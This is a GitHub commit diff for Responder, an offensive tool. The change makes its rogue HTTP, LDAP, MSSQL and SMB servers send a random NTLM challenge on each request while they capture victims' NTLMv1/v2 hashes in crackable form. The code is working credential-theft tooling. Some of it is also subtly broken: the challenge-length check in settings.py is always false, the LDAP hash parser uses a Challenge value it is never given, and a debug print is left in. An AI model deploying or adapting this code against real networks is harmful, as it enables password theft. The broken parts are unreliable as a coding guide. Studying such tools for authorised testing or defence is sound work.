Skip to content

Commit

Permalink
Added: Random challenge for each requests (default)
Browse files Browse the repository at this point in the history
  • Loading branch information
lgandx committed Jan 3, 2017
1 parent 17dc81c commit 1d38cd3
Show file tree
Hide file tree
Showing 7 changed files with 62 additions and 41 deletions.
3 changes: 2 additions & 1 deletion Responder.conf
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,8 @@ HTTPS = On
DNS = On
LDAP = On

; Custom challenge
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788

; SQLite Database file
Expand Down
19 changes: 11 additions & 8 deletions servers/HTTP.py
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@


# Parse NTLMv1/v2 hash.
def ParseHTTPHash(data, client, module):
def ParseHTTPHash(data, Challenge, client, module):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
Expand All @@ -42,7 +42,7 @@ def ParseHTTPHash(data, client, module):
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, Challenge.encode('hex'))
SaveToDb({
'module': module,
'type': 'NTLMv1',
Expand All @@ -61,7 +61,7 @@ def ParseHTTPHash(data, client, module):
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])

SaveToDb({
'module': module,
Expand Down Expand Up @@ -173,7 +173,7 @@ def GrabURL(data, host):
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())

# Handle HTTP packet sequence.
def PacketSequence(data, client):
def PacketSequence(data, client, Challenge):
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)

Expand All @@ -192,13 +192,14 @@ def PacketSequence(data, client):

if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
print "Challenge 2:", Challenge.encode('hex')
if Packet_NTLM == "\x01":
GrabURL(data, client)
GrabReferer(data, client)
GrabHost(data, client)
GrabCookie(data, client)

Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
Buffer = NTLM_Challenge(ServerChallenge=Challenge)
Buffer.calculate()

Buffer_Ans = IIS_NTLM_Challenge_Ans()
Expand All @@ -211,7 +212,7 @@ def PacketSequence(data, client):
module = "WebDAV"
else:
module = "HTTP"
ParseHTTPHash(NTLM_Auth, client, module)
ParseHTTPHash(NTLM_Auth, Challenge, client, module)

if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client)
Expand Down Expand Up @@ -265,6 +266,7 @@ class HTTP(BaseRequestHandler):

def handle(self):
try:
Challenge = RandomChallenge()
for x in range(2):
self.request.settimeout(3)
data = self.request.recv(8092)
Expand All @@ -277,7 +279,7 @@ def handle(self):
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])

else:
Buffer = PacketSequence(data,self.client_address[0])
Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.request.send(Buffer)
except socket.error:
pass
Expand All @@ -291,6 +293,7 @@ def setup(self):

def handle(self):
try:
Challenge = RandomChallenge()
data = self.exchange.recv(8092)
self.exchange.settimeout(0.5)
Buffer = WpadCustom(data,self.client_address[0])
Expand All @@ -301,7 +304,7 @@ def handle(self):
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])

else:
Buffer = PacketSequence(data,self.client_address[0])
Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.exchange.send(Buffer)
except:
pass
Expand Down
13 changes: 7 additions & 6 deletions servers/LDAP.py
Original file line number Diff line number Diff line change
Expand Up @@ -47,7 +47,7 @@ def ParseLDAPHash(data, client):
UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')

WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + settings.Config.NumChal
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + Challenge.encode('hex')

SaveToDb({
'module': 'LDAP',
Expand All @@ -61,15 +61,15 @@ def ParseLDAPHash(data, client):
if LMhashLen < 2 and settings.Config.Verbose:
print text("[LDAP] Ignoring anonymous NTLM authentication")

def ParseNTLM(data,client):
def ParseNTLM(data,client, Challenge):
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
NTLMChall.calculate()
return str(NTLMChall)
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
ParseLDAPHash(data,client)

def ParseLDAPPacket(data, client):
def ParseLDAPPacket(data, client, Challenge):
if data[1:2] == '\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0]
Expand All @@ -96,7 +96,7 @@ def ParseLDAPPacket(data, client):
})

if sasl == "\xA3":
Buffer = ParseNTLM(data,client)
Buffer = ParseNTLM(data,client, Challenge)
return Buffer

elif Operation == "\x63":
Expand All @@ -111,7 +111,8 @@ def handle(self):
while True:
self.request.settimeout(0.5)
data = self.request.recv(8092)
Buffer = ParseLDAPPacket(data,self.client_address[0])
Challenge = RandomChallenge()
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)

if Buffer:
self.request.send(Buffer)
Expand Down
10 changes: 5 additions & 5 deletions servers/MSSQL.py
Original file line number Diff line number Diff line change
Expand Up @@ -52,7 +52,7 @@ def __init__(self, data):
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')


def ParseSQLHash(data, client):
def ParseSQLHash(data, client, Challenge):
SSPIStart = data[8:]

LMhashLen = struct.unpack('<H',data[20:22])[0]
Expand All @@ -72,7 +72,7 @@ def ParseSQLHash(data, client):
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')

if NthashLen == 24:
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, Challenge.encode('hex'))

SaveToDb({
'module': 'MSSQL',
Expand All @@ -84,7 +84,7 @@ def ParseSQLHash(data, client):
})

if NthashLen > 60:
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])

SaveToDb({
'module': 'MSSQL',
Expand Down Expand Up @@ -126,7 +126,7 @@ def handle(self):
while True:
data = self.request.recv(1024)
self.request.settimeout(0.1)

Challenge = RandomChallenge()

if data[0] == "\x12": # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer())
Expand All @@ -135,7 +135,7 @@ def handle(self):

if data[0] == "\x10": # NegoSSP
if re.search("NTLMSSP",data):
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
Packet.calculate()
Buffer = str(Packet)
self.request.send(Buffer)
Expand Down
34 changes: 17 additions & 17 deletions servers/SMB.py
Original file line number Diff line number Diff line change
Expand Up @@ -88,7 +88,7 @@ def GrabSessionID(data):
SessionID = data[44:52]
return SessionID

def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
Expand All @@ -105,7 +105,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))

SaveToDb({
'module': 'SMB',
Expand All @@ -124,7 +124,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])

SaveToDb({
'module': 'SMB',
Expand All @@ -136,7 +136,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
})


def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
def ParseSMB2NTLMv2Hash(data,client, Challenge): #Parse SMB NTLMv2
SSPIStart = data[113:]
data = data[113:]
LMhashLen = struct.unpack('<H',data[12:14])[0]
Expand All @@ -151,7 +151,7 @@ def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
UserLen = struct.unpack('<H',data[38:40])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'SMBv2',
'type': 'NTLMv2-SSP',
Expand All @@ -161,7 +161,7 @@ def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
'fullhash': WriteHash,
})

def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0]
Expand All @@ -171,7 +171,7 @@ def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
LmHash = FullHash[:32].upper()
NtHash = FullHash[32:].upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash)

SaveToDb({
'module': 'SMB',
Expand All @@ -185,7 +185,7 @@ def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
if NthashLen == 24:
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
LmHash = data[65:65+LMhashLen].encode('hex').upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex'))

SaveToDb({
'module': 'SMB',
Expand Down Expand Up @@ -221,6 +221,7 @@ def handle(self):
while True:
data = self.request.recv(1024)
self.request.settimeout(1)
Challenge = RandomChallenge()

if not data:
break
Expand All @@ -233,7 +234,6 @@ def handle(self):
except:
pass


##Negotiate proto answer SMBv2.
if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
Expand All @@ -255,15 +255,15 @@ def handle(self):
## Session Setup 2 answer SMBv2.
if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
t = SMB2Session1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
t = SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge)
t.calculate()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
## Session Setup 3 answer SMBv2.
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
ParseSMB2NTLMv2Hash(data, self.client_address[0])
ParseSMB2NTLMv2Hash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
t = SMB2Session2Data()
packet1 = str(head)+str(t)
Expand All @@ -289,9 +289,9 @@ def handle(self):
# STATUS_MORE_PROCESSING_REQUIRED
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
else:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
Body.calculate()

Packet = str(Header)+str(Body)
Expand All @@ -313,7 +313,7 @@ def handle(self):

else:
# Parse NTLMSSP_AUTH packet
ParseSMBHash(data,self.client_address[0])
ParseSMBHash(data,self.client_address[0], Challenge)

if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
# Send ACCOUNT_DISABLED to get multiple hashes if there are any
Expand Down Expand Up @@ -401,15 +401,15 @@ def handle(self):
try:
self.request.settimeout(0.5)
data = self.request.recv(1024)

Challenge = RandomChallenge()
if data[0] == "\x81": #session request 139
Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer)
data = self.request.recv(1024)

if data[8:10] == "\x72\x00": #Negotiate proto answer.
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
Body.calculate()
Packet = str(head)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
Expand All @@ -423,7 +423,7 @@ def handle(self):
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
else:
ParseLMNTHash(data,self.client_address[0])
ParseLMNTHash(data,self.client_address[0], Challenge)
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head) + str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
Expand Down
13 changes: 9 additions & 4 deletions settings.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@

from utils import *

__version__ = 'Responder 2.3.3.0'
__version__ = 'Responder 2.3.3.2'

class Settings:

Expand Down Expand Up @@ -195,14 +195,19 @@ def populate(self, options):

# Set up Challenge
self.NumChal = config.get('Responder Core', 'Challenge')
if self.NumChal.lower() == 'random':
self.NumChal = "random"

if len(self.NumChal) is not 16:
if len(self.NumChal) is not 16 and not "random":
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
sys.exit(-1)

self.Challenge = ""
for i in range(0, len(self.NumChal),2):
self.Challenge += self.NumChal[i:i+2].decode("hex")
if self.NumChal.lower() == 'random':
pass
else:
for i in range(0, len(self.NumChal),2):
self.Challenge += self.NumChal[i:i+2].decode("hex")

# Set up logging
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
Expand Down
Loading

0 comments on commit 1d38cd3

Please sign in to comment.